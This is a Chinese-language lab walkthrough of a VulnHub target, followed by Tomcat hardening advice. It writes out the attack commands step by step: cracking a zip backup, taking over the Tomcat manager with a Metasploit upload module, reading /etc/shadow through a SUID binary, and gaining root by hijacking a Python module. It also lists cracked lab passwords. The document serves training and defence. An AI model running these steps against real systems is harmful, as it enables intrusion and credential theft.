每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。
每日一攻防特色:
环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。
代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。
作者:大余
nmap发现ip地址:192.168.253.133
发现开启了22、80和8080端口。
访问80端口发现apache:
继续用nmap深度扫描:
--script=http-enum
发现存在zip文件和多个目录!
通过nmap脚本枚举出8080端口存在backup.zip文件:
wget http://192.168.253.133:8080/backup.zip
unzip backup.zip
下载后解压发现需要密码,利用john爆破压缩包密码:
zip2john backup.zip > hash
john hash --wordlist=/root/Desktop/rockyou.txt
@administrator_hi5
成功获得密码,解压后查看tomcat-users.xml:
得到tomcat后台账号密码:
admin
melehifokivai
之前nmap就扫描到8080端口存在/manager/html,访问登录:
利用msf模块exploit/multi/http/tomcat_mgr_upload拿shell:
use exploit/multi/http/tomcat_mgr_upload
set rport 8080
set rhosts 192.168.253.133
set httpusername admin
set httppassword melehifokivai
set FingerprintCheck false
run
成功获得shell!!
利用之前得到的密码:melehifokivai,成功切换到jaye用户:
su jaye
melehifokivai
python3 -c 'import pty; pty.spawn("/bin/sh")'
查找suid权限的文件
find / -perm -u=s -exec ls -al {} \; 2> /dev/null
利用该程序可以读取任意文件,查看目标/etc/shadow文件:
https://gtfobins.github.io/gtfobins/look/#suid
/home/jaye/Files/look '' "/etc/shadow"
john --wordlist=/root/Desktop/rockyou.txt 1
randy
07051986randy
成功通过look文件读取到秘钥爆破获得明文密码!
切换到randy用户后查看sudo权限:
(root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py
查看randombase64.py发现引入base64模块,修改base64模块提权!查找base64模块位置:
在文件最后加上提权代码:
import os
os.system("/bin/bash")
执行该脚本提升为root:
sudo -u root /usr/bin/python3.8 /home/randy/randombase64.py
成功获得root权限!
这里源码并没有什么,开始进攻的思路是tomcat存在/manager/html,然后存在backup.zip备份文件查看到存在tomcat-users.xml文件,通过tomcat-users.xml文件查看到tomcat登录账号密码,从而登录/manager/html,通过利用msf模块exploit/multi/http/tomcat_mgr_upload拿服务器控制权限shell。我们可以这样防护:
1、更改默认账号和密码
在tomcat-users.xml文件中,确保使用强密码并修改默认账号。删除不必要的用户,仅给予最小必需的权限。
2、禁用管理页面
如果不需要Tomcat Manager应用程序,可以考虑将其禁用或限制其访问。在server.xml中配置以下片段可以限制访问:
<Context privileged="true" docBase="${catalina.home}/webapps/manager">
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="127\.0\.0\.1" />
</Context>
3、限制/manager/html的访问
可以通过配置Apache Tomcat的conf/context.xml文件限制对/manager/html的访问。在元素内添加以下配置:
<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="127\.0\.0\.1" />
这将限制只有来自本地IP地址的请求可以访问/manager/html。
4、安全配置文件
通过对web.xml和context.xml等文件进行适当的安全配置,可以增强Tomcat的安全性。禁用不必要的服务和功能,以及配置适当的访问控制。
5、监控和审计
实施监控机制,定期审计日志文件,以便检测潜在的入侵或异常活动。在Tomcat中启用详细的访问日志,以便能够追踪请求。
通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!
扫描下方二维码添加小助手,进群和大余老师一起技术探讨交流吧!
欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。